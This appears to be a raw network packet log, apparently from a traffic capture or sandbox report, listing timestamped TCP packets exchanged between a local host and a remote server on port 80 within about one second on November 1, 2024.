Nov 1, 2024 03:45:21.955971956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.956021070 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:21.956042051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.956099033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:21.956193924 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.022094965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.022109985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.022120953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.022177935 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.022180080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.022193909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.022264957 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.069709063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.069722891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.069741011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.069752932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.069765091 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.069777012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.069813967 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.069875002 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.069988966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070048094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070051908 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.070060968 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070148945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.070178032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070189953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070199966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070252895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.070482016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070493937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070509911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070545912 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.070557117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070580006 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.070657015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070744991 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070755959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070802927 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.070822001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.070986032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.071038008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.071049929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.071131945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.071149111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.071162939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.071269989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.071409941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.071461916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.071474075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.071542978 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.139215946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.139230967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.139242887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.139255047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.139338970 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.139352083 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.139375925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.139394045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.139456034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.185080051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.185106993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.185120106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.185179949 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.185404062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.185415983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.185429096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.185441971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.185487986 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.185538054 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.185844898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.185900927 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.185900927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.186080933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.186093092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.186156034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.186455965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.186470032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.186501980 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.186815977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.186827898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.186840057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.186870098 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.186919928 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.187148094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187160969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187170982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187182903 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187277079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187288046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187294960 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.187299013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187319040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187339067 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.187367916 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.187418938 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187438011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187450886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187463999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.187510967 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.187526941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.252800941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.252815008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.252825975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.252943993 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.252949953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.252962112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.252973080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.252985954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.253024101 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.253024101 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.303821087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.303865910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.303878069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.303920984 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.303942919 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.303972006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.303983927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304039001 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.304105997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304117918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304128885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304141998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304152966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304178953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304202080 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.304202080 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.304241896 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.304399014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304410934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304420948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304431915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304447889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304471970 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.304491043 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.304621935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304694891 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.304728985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304742098 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304753065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304764986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304775953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304786921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304795980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304800034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.304807901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304819107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304830074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304841042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.304850101 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.304882050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.351718903 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.368156910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.368210077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.368221998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.368233919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.368299007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.368299007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.368331909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.368344069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.368388891 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.416085005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416100979 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416112900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416130066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416141987 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416146994 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.416201115 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.416233063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416244984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416256905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416279078 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.416301012 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.416354895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416393995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416428089 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.416826010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416882992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416924000 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416943073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.416980028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.417015076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.417017937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.417032003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.417094946 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.417769909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.417782068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.417793989 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.417853117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.417854071 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.417865038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.417876005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.417887926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.417907953 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.418075085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.418087959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.418102026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.418113947 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.418116093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.418126106 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.418145895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.418150902 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.418159962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.418195963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.418198109 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.418240070 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.418406963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.418467045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.418838024 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.483524084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.483603954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.483663082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.483700037 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.483702898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.483721972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.483755112 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.531223059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531275988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531291008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531301022 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.531361103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531394958 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.531414032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531449080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531481028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.531543970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531605959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531619072 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531625986 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.531696081 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.531722069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531774998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531788111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.531819105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.532187939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.532228947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.532238007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.532242060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.532296896 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.532305956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.532318115 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.532393932 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.532449007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.532501936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.532552958 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.533097982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533153057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533164978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533207893 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.533226967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533238888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533272982 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.533334017 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533404112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533416033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533432007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.533452988 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.533457994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533471107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533515930 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.533713102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533776999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533792973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533823013 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.533833981 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.533885956 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.577558041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.577614069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.577625990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.577667952 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.598892927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.598917007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.598927975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.598970890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.598997116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.599009037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.599014044 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.599021912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.599061966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.646681070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.646768093 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.646812916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.646848917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.646867037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.646879911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.646891117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.646898031 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.646913052 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.646934986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.646966934 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.646974087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.646986008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.647044897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.647130013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.647161007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.647172928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.647202015 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.647227049 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.647552967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.647619963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.647631884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.647675991 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.647680044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.647713900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.647725105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.647747040 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.647792101 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.648855925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.648895979 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.648907900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.648967981 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.648993969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.649008036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.649029970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.649044037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.649054050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.649055958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.649075985 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.649149895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.649193048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.649204016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.649214983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.649266005 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.649282932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.649350882 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.692934990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.692961931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.692975044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.693037033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.693058014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.693070889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.693083048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.693115950 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.693166018 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.714116096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.714168072 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.714179993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.714222908 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:22.714250088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:22.714262009 CET	80	49750	185.215.113.16	192.168.2.6
